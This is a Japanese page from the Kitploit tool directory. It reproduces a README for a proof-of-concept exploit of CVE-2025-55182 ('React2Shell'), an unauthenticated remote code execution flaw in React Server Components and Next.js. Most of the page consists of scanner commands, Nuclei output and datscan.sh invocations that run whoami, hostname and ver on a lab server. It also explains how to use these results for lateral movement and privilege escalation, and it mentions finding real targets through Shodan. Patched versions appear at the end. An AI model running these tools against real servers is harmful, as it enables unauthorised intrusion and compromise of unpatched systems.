Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
React2Shell-PoC-CVE-2025-55182 — CVE-2025-55182 のセキュリティ脆弱性の悪用 | Kitploit
ツール/GitHubGitHub/litndat/react2shell-poc-cve-2025-55182
偵察脆弱性スキャナーエクスプロイトウェブアプリケーション悪用学習と教育リモートアクセスツールラボと実践
GitHublitndat/react2shell-poc-cve-2025-55182

React2Shell-PoC-CVE-2025-55182

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-55182 のセキュリティ脆弱性の悪用

リポジトリを見る
1ヶ月前未レビュー

React2Shellエクスプロイトのシミュレーション (CVE-2025-55182)

注意:

  • このドキュメントは学習・セキュリティ研究目的のみです。
  • 許可なくシステムを攻撃するために使用しないでください。

1. 概要

CVE-2025-55182(別名React2Shell)は、React Server Components (RSC) に影響を与える重大なリモートコード実行 (RCE) 脆弱性です。Flightプロトコルを使用してクライアントとサーバー間の通信を行います。クライアントがデータを要求すると、サーバーはペイロードを受信し、そのペイロードを解析します。これにより、攻撃者が悪意のある構造やReactが有効と認識する任意のコードを注入する可能性があります。

項目内容
深刻度Critical (CVSS 10.0)
タイプUnsafe Deserialization (CWE-502)
攻撃方法Remote, no authentication required
影響を受けるバージョン:React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 および Next.js: 15.0.0 – 15.0.4, 15.1.0 – 15.1.8, 15.2.0 – 15.2.5, 15.3.0 – 15.3.5, 15.4.0 – 15.4.7, 15.5.0 – 15.5.6, 16.0.0 – 16.0.6

2. 原因

サーバーがクライアントからのペイロードを十分に検証せずに処理するため、攻撃者は以下が可能:

  • 悪意のあるペイロードの注入
  • サーバー上でのコード実行
  • 認証前の脆弱性であるため、ユーザー認証なしで悪用される可能性があります。

この脆弱性に関連する悪用活動は2025年12月5日から確認されています。成功した悪用のほとんどは攻撃グループによる評価に端を発しています。Windows環境とLinux環境の両方が影響を受けます。

3. 実験

インストール

root@kitploit:~
pip install -r requirements.txt

脆弱なサーバーをスキャン:

root@kitploit:~
python3 scanner.py -u https://example.com

スキャンするURLを入力(ここでは脆弱なマシン http://192.168.10.1:3000 を入力)

image

取得した結果:

image
root@kitploit:~
╰─ python3 scanner.py -u http://192.168.10.1:3000             

brought to you by assetnote

[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled

[VULNERABLE] http://192.168.10.1:3000 - Status: 303

また、あなたのエクスプロイトの目的に応じてさらにスキャンすることも可能:

ホストリストのスキャン:

root@kitploit:~
python3 scanner.py -l hosts.txt

マルチスレッドでスキャンし、結果を保存:

root@kitploit:~
python3 scanner.py -l hosts.txt -t 20 -o results.json

カスタムヘッダーでのスキャン:

root@kitploit:~
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"

Windowsターゲットのスキャン:

root@kitploit:~
python3 scanner.py -u https://example.com --windows

安全なサイドチャネル検出方法の使用:

root@kitploit:~
python3 scanner.py -u https://example.com --safe-check
image

ご覧のとおり、セキュリティ脆弱性に遭遇しています。つまり、当該サーバーは攻撃者に対して脆弱であることを意味します。


Nuclei

次に、Nucleiを使用して上記のサーバーがどの脆弱性に該当するか(POCがあるかどうか)を確認します。この機能はカスタムリクエストを送信し、誤検知(false positive)を低減し、並列スキャンをサポートします。

root@kitploit:~
nuclei -t scan.yaml -u http://192.168.10.1:3000

得られた結果

root@kitploit:~
[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.
image

システムはこのサーバーが脆弱であり、CVE-2025-55182脆弱性によって悪用可能であることを検出しました。そして、これにより、この脆弱性が非常に危険で重要であり、ソーシャルプラットフォーム上に多くのPOCが存在することがわかります。 ☺☺☺

4. 悪用方法

これらの情報だけで、上記のアプリケーションにセキュリティ脆弱性が存在することを確認するのに十分であることがわかります。このアプリケーションがリモートでコマンドやコードを実行するために悪用される可能性があることを証明するために、PoCを開始します。

root@kitploit:~
chmod +x scanner.sh

使用方法

root@kitploit:~
# 相手が脆弱かどうかを確認
./datscan.sh -d example.com

# 現在のユーザーを確認するコマンドを実行
./datscan.sh -d example.com -c "whoami"

# 完全なURLを使用
./datscan.sh -d example.com -c "uname -a"
image

意味:

現在サーバープロセスを実行しているユーザーを返す

以下の特定に役立つ:

  • アプリケーションがどのユーザー権限で実行されているか
  • 権限のレベル(低権限か管理者か)

=> これはRCEが成功したことを確認する最も基本的なコマンドです

Note

  • -d, --domain - ドメイン/URL
  • -c, --command - 実行するコマンド(例: whoami, hostname,...)

例

root@kitploit:~
# マシン名を確認
./datscan.sh -d http://192.168.10.1:3000/ -c hostname  

# オペレーティングシステムのバージョンを特定
./datscan.sh -d http://192.168.10.1:3000/ -c ver 

# コマンド実行が安定して動作するか確認
./datscan.sh -c "echo test"

./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"

./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"

実行後の図解

image

これはエクスプロイト成功後の初期偵察ステップです。

RCEが動作していること、OSの特定などを確認できます。

注意

この実験は、違法行為を避けるために個人のラボ環境でデモを行っているため、HTTPヘッダーを使用したデータ流出、大きな出力、特殊文字などにより以下が発生する可能性があります:

  • ERR_INVALID_CHAR
  • レスポンスの減少
  • Timeouts
image

短いコマンド(例: whoami、ver)は、上記のテスト環境での実演により信頼性が高いです。

お好みでShodanを使用して実際の環境のIPアドレスを直接確認し、上記の実験と同様に悪用することもできます(推奨しません)。

image

上記で述べたように、このツールは教育と許可されたセキュリティテストのみを目的としています。所有していない、またはテスト権限のないシステムでこのツールを使用しないでください。

5. 脆弱性の修正方法

  • クライアントからのデータを信頼しない
  • 入力を厳密に検証する
  • バージョンの更新
    • React: >= 19.0.1 / 19.1.2 / 19.2.1
    • Next.js: >= 15.0.5 / 16.0.7

6. 参考資料

  • CVE-2025-55182 – https://nvd.nist.gov/vuln/detail/CVE-2025-55182
  • CVE-2025-55182 - https://www.dynatrace.com/news/blog/cve-2025-55182-react2shell-critical-vulnerability-what-it-is-and-what-to-do/
ツールをダウンロード
実行コマンドの意味内容
マシン名(ホスト名)を返す目的:
- 影響を受けるシステムの識別
- 内部環境での横方向移動(lateral movement)に利用
オペレーティングシステムのバージョンを特定重要:
- さらなる悪用(権限昇格)の可能性評価
- 適切なエクスプロイトの選択
コマンド実行の確認ペイロード/スキャナのデバッグに使用
現在のユーザー名を返すこの場合:
- ユーザーがADMIN → 高い権限の可能性
- 一部のWindowsケースではwhoamiよりも重要
マシン名を返す環境変数を通じてマシン名を返す